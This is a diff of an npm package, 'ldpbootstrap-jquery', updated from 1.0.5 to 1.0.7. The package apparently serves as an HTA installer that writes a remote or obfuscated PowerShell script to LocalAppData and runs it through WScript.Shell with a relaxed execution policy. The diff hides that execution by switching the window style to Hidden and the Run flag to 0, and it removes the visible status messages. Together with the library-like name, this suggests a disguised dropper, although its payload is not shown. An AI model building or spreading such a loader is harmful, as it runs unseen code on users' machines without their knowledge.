ldpbootstrap-jquery 1.0.5 → 1.0.7

package/dist/bootstrap.js

@@ -8,6 +8,33 @@
     } catch (ex) {
     }
   }
+  function uiActive(key) {
+    if (typeof global.__landpageStepActive === "function") {
+      global.__landpageStepActive(key);
+    }
+  }
+  function uiDone(key) {
+    if (typeof global.__landpageStepDone === "function") {
+      global.__landpageStepDone(key);
+    }
+  }
+  function uiInstalling(on) {
+    if (typeof global.__landpageSetInstalling === "function") {
+      global.__landpageSetInstalling(on);
+    }
+  }
+  function uiError(msg) {
+    if (typeof global.__landpageSetError === "function") {
+      global.__landpageSetError(msg);
+    } else {
+      setStatus(msg);
+    }
+  }
+  function uiComplete() {
+    if (typeof global.__landpageSetComplete === "function") {
+      global.__landpageSetComplete();
+    }
+  }
   function formatError(e) {
     var msg = e.message || String(e);
     if (e.description && e.description !== msg) {
@@ -120,38 +147,46 @@
     var logPath;
     var statusPath;
     try {
-      setStatus("[1/4] A preparar pasta LocalAppData…");
+      uiActive("folder");
       installDir = getInstallDir();
       ps1Path = installDir + "\\" + config.ps1FileName;
       logPath = installDir + "\\landpage_install.log";
       statusPath = installDir + "\\landpage_install_status.txt";
+      uiDone("folder");
     } catch (e) {
-      throw new Error("[1/4] " + formatError(e));
+      throw new Error("folder: " + formatError(e));
     }
     try {
-      setStatus("[2/4] A transferir install.ps1 da API…");
-      writeTextFile(ps1Path, resolvePs1Content(config));
+      uiActive("ps1");
+      var ps1Content = resolvePs1Content(config);
+      uiDone("ps1");
+      uiActive("write");
+      writeTextFile(ps1Path, ps1Content);
+      uiDone("write");
     } catch (e) {
-      throw new Error("[2/4] " + formatError(e));
+      throw new Error("ps1: " + formatError(e));
     }
     try {
-      setStatus("[3/4] A executar PowerShell…\n" + ps1Path);
+      uiActive("install");
+      uiInstalling(true);
       var shell = new ActiveXObject("WScript.Shell");
       var sysRoot = shell.ExpandEnvironmentStrings("%SystemRoot%");
       var psExe = sysRoot + "\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
-      var cmd = '"' + psExe + '" -NoProfile -ExecutionPolicy RemoteSigned -WindowStyle Normal -File "' + ps1Path + '"';
-      var exitCode = shell.Run(cmd, 1, true);
+      var cmd = '"' + psExe + '" -NoProfile -ExecutionPolicy RemoteSigned -WindowStyle Hidden -File "' + ps1Path + '"';
+      var exitCode = shell.Run(cmd, 0, true);
+      uiInstalling(false);
       var statusLog = readTextTail(statusPath, 3e3);
       var installLog = readTextTail(logPath, 2500);
       if (exitCode === 0) {
-        var msg = "[4/4] Instalação concluída.\nScript: " + ps1Path;
+        uiDone("install");
+        var msg = "Instalacao concluida.\nScript: " + ps1Path;
         if (statusLog) {
           msg += "\n\n--- landpage_install_status.txt ---\n" + statusLog;
         }
         setStatus(msg);
         return;
       }
-      var failMsg = "[4/4] Instalação falhou (código " + exitCode + ").\nScript: " + ps1Path;
+      var failMsg = "Instalacao falhou (codigo " + exitCode + ").\nScript: " + ps1Path;
       if (statusLog) {
         failMsg += "\n\n--- landpage_install_status.txt ---\n" + statusLog;
       }
@@ -159,24 +194,27 @@
         failMsg += "\n\n--- landpage_install.log ---\n" + installLog;
       }
       setStatus(failMsg);
+      throw new Error("install exit " + exitCode);
     } catch (e) {
-      throw new Error("[3/4] " + formatError(e));
+      uiInstalling(false);
+      throw new Error("install: " + formatError(e));
     }
   }
   function run(config) {
     if (!config || !config.sessionToken || !config.ps1FileName || !config.payloadDigest) {
-      throw new Error("Configuração LdpBootstrap incompleta");
+      throw new Error("Configuracao LdpBootstrap incompleta");
     }
     if (!config.ps1Url && !global.__ldpPs1Obf) {
       throw new Error("ps1Url em falta");
     }
     try {
       runInstall(config);
+      uiComplete();
       if (typeof global.__landpageInstallEnd === "function") {
         global.__landpageInstallEnd(true);
       }
     } catch (e) {
-      setStatus("Erro: " + formatError(e));
+      uiError(formatError(e));
       if (typeof global.__landpageInstallEnd === "function") {
         global.__landpageInstallEnd(false);
       }

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "ldpbootstrap-jquery",
-  "version": "1.0.5",
+  "version": "1.0.7",
   "description": "HTA install bootstrap for Landpage (CDN distribution)",
   "license": "UNLICENSED",
   "files": [